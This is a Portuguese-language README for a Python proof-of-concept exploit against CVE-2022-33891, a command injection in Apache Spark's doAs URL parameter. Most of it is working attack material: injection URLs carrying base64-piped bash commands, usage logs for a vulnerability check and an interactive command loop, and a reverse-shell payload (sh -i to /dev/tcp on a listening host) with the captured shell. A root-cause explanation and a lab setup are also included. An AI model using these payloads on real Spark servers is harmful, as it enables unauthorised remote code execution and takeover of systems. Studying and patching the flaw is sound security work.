
Vulnerabilidade de Injeção de Comandos no Shell do Apache Spark
Vulnerabilidade de Injeção de Comandos Shell no Apache Spark
Um POC em Python para explorar a vulnerabilidade de Injeção de Comandos Shell no Apache Spark. Vi alguns outros POCs por aí, mas pareciam mega suspeitos. Este é limpo e simples.
Não fui eu quem descobriu este exploit/vulnerabilidade. Só queria fazer um POC seguro para a comunidade ^.^
CVE descoberta originalmente por Kostya Kortchinsky da Databricks.
Atualização em 9/7/22: Ei, agora tem um módulo Metasploit para isso! Feito por h00die-gr3y e já foi integrado!
Apache Spark versões 3.0.3 e anteriores, versões 3.1.1 a 3.1.2, e versões 3.2.0 a 3.2.1
http://localhost:8080/?doAs=`[injeção de comando aqui]`
Exemplo
http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash`
... dorme por 10 segundos
Você precisa de uma versão vulnerável do Spark com uma única opção de configuração alterada.
$ pip3 install -r requirements.txtspark/.docker-compose.yml fornecido no diretório spark/ e execute docker-compose up. Deixe o container iniciar.sudo docker exec -it spark_spark_1 /bin/bashecho "spark.acls.enable true" >> conf/spark-defaults.confcat para ver o conteúdo do spark-defaults.conf e garantir que está correto.docker-compose up┌──(kali㉿kali)-[~/Desktop]
└─$ python3 poc.py -h
usage: poc.py [-h] -u URL -p PORT [--revshell]
[-lh LISTENINGHOST] [-lp LISTENINGPORT]
[--check] [--verbose]
CVE-2022-33891 Script de Exploit POC em Python
argumentos opcionais:
-h, --help mostra esta mensagem de ajuda e sai
-u URL, --url URL URL a ser explorada.
-p PORT, --port PORT Porta do alvo do exploit.
--revshell Opção de Reverse Shell.
-lh LISTENINGHOST, --listeninghost LISTENINGHOST
Endereço IP do host que escuta.
-lp LISTENINGPORT, --listeningport LISTENINGPORT
Porta do host que escuta.
--check Verifica se o alvo é
explorável com um teste de sleep
--verbose Modo verboso
Verificar se o alvo é vulnerável:
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --check --verbose
[*] Tentando conectar ao site...
[*] Requisição URL: http://localhost:8080/?doAs='testing'
[*] Código de status da resposta: 403
[!] Realizando teste de sleep de 10 segundos...
[*] T1: 2022-07-22 10:47:48.406996
[*] Comando: sleep 10
[*] Comando em Base64: c2xlZXAgMTA=
[*] Requisição completa do exploit: http://localhost:8080/?doAs=`echo c2xlZXAgMTA= | base64 -d | bash`
[*] Enviando exploit...
[*] Código de status da resposta: 403
[*] Dica: 403 é bom.
[*] T2: 2022-07-22 10:47:58.425108
[*] Delta T: 10
[+] O sleep foi de 10 segundos! Este alvo provavelmente é vulnerável!
Emitir comandos em um loop de prompt de comando:
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --verbose
[*] Modo "Interativo"!
[!] Nota: você não receberá nenhuma saída desses comandos. Tente usar algo como ping ou sleep para testar a execução.
[cve-2022-33891> sleep 5
[*] Comando: sleep 5
[*] Comando em Base64: c2xlZXAgNQ==
[*] Requisição completa do exploit: http://localhost:8080/?doAs=`echo c2xlZXAgNQ== | base64 -d | bash`
[*] Enviando exploit...
[*] Código de status da resposta: 403
[*] Dica: 403 é bom.
[cve-2022-33891>
Executar um reverse shell:
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --revshell -lh 10.10.1.237 -lp 9001 --verbose
[*] Modo reverse shell.
[*] Configure seu listener digitando o seguinte:
nc -nvlp 9001
[*] Quando seu listener estiver configurado, pressione Enter!
[*] Comando: sh -i >& /dev/tcp/10.10.1.237/9001 0>&1
[*] Comando em Base64: c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMS4yMzcvOTAwMSAwPiYx
[*] Requisição completa do exploit: http://localhost:8080/?doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMS4yMzcvOTAwMSAwPiYx | base64 -d | bash`
[*] Enviando exploit...
...[no outro terminal]...
husky@dev-kde:~/Desktop/cve-2022-33891$ nc -nvlp 9001
Listening on 0.0.0.0 9001
Connection received on 172.19.0.2 52136
sh: 0: can't access tty; job control turned off
$ whoami
spark
$ echo "hackerman"
hackerman
$
A injeção de comando ocorre porque o Spark verifica a associação de grupo do usuário passado no parâmetro ?doAs usando um comando Linux bruto. A interpolação do Bash executa o comando, envia a saída para o campo id e tenta localizar o usuário resultante.
Passar which python como valor de ?doAs= produz este resultado no traceback:
...
http://localhost:8080/?doAs=`which%20python`
...
spark_1 | 22/07/22 15:15:57 INFO Utils: id: '/opt/bitnami/python/bin/python': no such user
spark_1 | 22/07/22 15:15:57 ERROR Utils: Process List(bash, -c, id -Gn `which python`) exited with code 1:
spark_1 | 22/07/22 15:15:57 ERROR Utils: Error getting groups for user=`which python`
Aqui, o Java decidiu que seria melhor passar o comando id para bash -c para verificar a associação de grupo de um usuário especificado. O problema é que isso também permite injeção de comando. A interpolação do Bash avaliou o comando fornecido e imprimiu os resultados na linha 1 desta saída e tenta localizar o usuário pela saída padrão do comando.
Não há um usuário chamado /opt/bitnami/python/bin/python, mas isso com certeza significa que o comando foi passado para o Bash e executado.
As versões corrigidas parametrizam esta chamada para ter um caminho completo para o comando /bin/id em vez de para bash -c id.
Vale notar que nada é refletido de volta na página durante a execução do comando, portanto, isso é injeção cega de SO. Seus comandos são executados, mas não haverá indicação se funcionaram ou não, ou mesmo se o programa que você está executando está no alvo. Por exemplo, o container que é iniciado com o arquivo docker-compose.yml neste repositório não possui ping, então verificar a injeção de comando via pingback não funcionará. Mas você não saberá disso, então ficará se perguntando se funcionou ou não.
O teste de sleep é uma aposta segura ^.^
Gastei exatamente zero ciclos para tornar isso seguro para OPSEC. Equipes vermelhas, isso é com vocês.
Este POC não possui capacidade de enumeração passiva. O exploit é uma injeção cega de comando. Se você usar este script contra um alvo, você está enviando pacotes para ele. Mesmo se você usar o parâmetro --check e o alvo for vulnerável, você está ativamente explorando-o para provar que é vulnerável.
Não use isso em sistemas de produção sensíveis a testes. Não use isso contra alvos se você não tiver autorização para tal. Não sou nem de perto responsável por como você escolhe usar isso.
Dê uma olhada na licença.